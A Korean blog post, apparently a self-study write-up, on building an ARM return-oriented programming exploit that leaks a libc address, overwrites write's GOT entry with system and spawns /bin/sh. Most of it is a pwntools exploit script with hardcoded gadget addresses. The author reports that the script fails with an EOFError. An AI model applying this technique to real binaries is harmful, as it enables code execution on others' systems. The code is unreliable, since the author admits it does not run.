ROP의 가장 기본적인 예시이다.
ROP를 해주기 위해선 system함수의 offset과 필요한 가젯들을 찾는 것이다. 과정은 다음과 같이 해야한다.
1. write함수로 read 함수의 실제 주소를 얻는다.
2. read함수로 system함수의 offset을 연산하여 system 함수의 실제 주소를 구한다.
3. read함수로 .bss영역에 "/bin/sh"문자열을 저장한다. (끝에 \x00을 붙여 문자열의 끝을 알린다.)--->read(0,&bss,0x8)
4. read함수로 write함수의 got에 system함수의 실제주소 저장.
5. bss영역의 주소를 인자로 write의 plt를 호출 하지만 실질적으로는 system함수 호출
ida로 write의 plt 부분과 got부분 ,read의 plt부분과 got부분을 확인 할 수 있다.
bss의 영역 또한
readelf -S ROP 명령어로 확인 할 수 있다. 여기서 .bss영역 이외에 dynamic 영역도 사용해도 된다.
그러면 위의 과정을 결론적으로 함수의 인자값들로 순서대로 채워 넣으면
1. write@plt(1,read_got,4)//--->read함수의 주소를 출력
(read함수의 주소를 찾았으니 offset으로 system함수의 주소를 찾아준다)
이렇게 system함수의 주소를 offset으로 구해주는 이유는 ASLR 보호 기법으로 인해 elf파일 실행시 system함수의 주소가
임의로 배정되기 때문이다.-->이부분이 RTL_chaining과 다른 부분이다.
read함수와 system함수의 offset은 다음과 같이 구해주는 된다.
2. read@plt(0,&bss,8)//--->"/bin/sh"의 문자열을 쓸 .bss영역 지정
bss의 주소를 잡아주고 "/bin/sh"문자열 쓰기
3. read@plt(0,write_got,4)//--->write_got의 영역에다가 system 함수의 주소를 넣어주기
write_got주소에 system 함수의 주소를 넣어주면 write_plt 호출시 system 함수의 실행코드로 갈 것이다.
4. write("/bin/sh"=.bss) //--->write 함수를 호출하면 system 함수가 호출이 되는데 이때 인자값을 .bss의 주소만 주면
system("/bin/sh")의 형태로 함수가 호출 될 것이다.
여기서 중요한 점은 1->2->3->4 순서로 ret과 인자를 넣어줄 수 있는 가젯을 찾아야 한다.
이때 가장 많이 쓰이는 가젯은 리눅스에 공통적으로 사용되는 함수인 _libc_csu_init 함수을 이용하는 것이다.
_libc_csu_init 함수는 다음과 같이 r0,r1,r2 세가지의 인자를 넣고 BLX r3 명령어로 다른 곳으로 jump를 할 수 있는 가젯을 가지고 있다.
gdb에서 본 0x104c4의 부분이다. 0x104e4의 부분을 보면 pop {r4-r10,pc}로 레지스터 값과 pc값을 바꿔줄 수 있다.
이때 pc를 0x104c4로 다시 jump를 해주면 r4-r10까지 넣은 레지스터 값들이 r0,r1,r2로 mov 될 것이다.
여기서 r4를 0으로 해주고 r6를 1로 해주면 다시 0x104e4 명령어로 넘어가 pop {r4-r10,pc}를 다시 사용할 수 있게 된다.
이를 이용하여 함수들을 연계 시켜 원하는 인자값들로 맞춰 주었다.
from pwn import *
import time
s=ssh()
p=s.process(ROP)
read_plt=0x10308
read_got=0x0002100C
write_plt=0x1032c
write_got=0x00021018
bss=0x0002102c
system_offset=0x8ce90
shell="/bin/sh\00"
payload=""
payload+="A"*36
payload+=p32(0x000104e4)
payload+=p32(0)
payload+=p32(write_plt)
payload+=p32(1)
payload+=p32(1)
payload+=p32(read_got)
payload+=p32(4)
payload+="b"*4
payload+=p32(0x000104c4)
#write(1,read_got,4)
log.info("Exploit")
time.sleep(0.5)
p.clean(1)
p.send(payload)
time.sleep(0.5)
p.clean(1)
read_addr=u32(p.recv(4)[-4:])
p.clean(0)
log.info("read_addr=0x%x" % read_addr)
log.info("system_offset=0x%x" % system_offset)
system_addr=read_addr - system_offset
log.info("system_addr=0x%x" % system_addr)
p.clean(0)
payload2=""
payload2+=p32(0)
payload2+=p32(read_plt)
payload2+=p32(1)
payload2+=p32(0)
payload2+=p32(bss)
payload2+=p32(8)
payload2+="b"*4
payload2+=p32(0x000104c4)
#read(0,bss,8)
time.sleep(0.5)
p.clean(0)
p.recv(1024)
p.send(payload2)
time.sleep(0.5)
p.sendline("/bin/sh\x00")
p.recv(1024)
payload3=""
payload3+=p32(0)
payload3+=p32(read_plt)
payload3+=p32(1)
payload3+=p32(0)
payload3+=p32(write_got)
payload3+=p32(4)
payload3+="b"*4
payload3+=p32(0x000104c4)
#read(0,write_got,4)
p.send(payload3)
time.sleep(0.5)
p.send(p32(system_addr))
payload4=""
payload4+="b"*4
payload4+=p32(write_plt)
payload4+="b"*4
payload4+=p32(bss)
payload4+="b"*4
payload4+="b"*4
payload4+="b"*4
payload4+=p32(0x000104c4)
#system(/bin/sh)
p.send(payload4)
time.sleep(0.5)
p.clean(0)
p.interactive()
물론 다음 코드를 실행 해주면
다음과 같이 raise EOFerror가 난다. 이 문제가 buffer를 비워주지 못해서 생긴 문제라고 생각해 코드에 p.clean(0)을 넣었는데 여전히 같은 문제가 발생한다.
그래서 아무것도 모르고 recv받는 줄 위아래로 그냥 p.clean(0)도 넣어보고 p.clean(1)도 넣어 보고 소스코드 앞에 setvbuf(stdout,0,1,0)도 추가해 보고 하였지만 여전히 같은 문제가 발생한다.
6시간의 삽질 끝에 아무것도 발견해지 못했다. 파이썬 코드 자체가 잘못될 수도 있고 아직 pwntool의 원리와 사용법을 익히지 못해 발생한 문제 같다. 너무 행복하다.
'ARM아키텍쳐' 카테고리의 다른 글
[ARM] ROPlevel1 (0) | 2020.05.04 |
---|---|
[ARM] exploit RTL Chaining (0) | 2020.03.25 |
[ARM] Hello World!_Part 2 (0) | 2020.01.13 |
[ARM] Hello World!_Part 1 (0) | 2020.01.08 |
[ARM] exploit_RTL (0) | 2019.12.22 |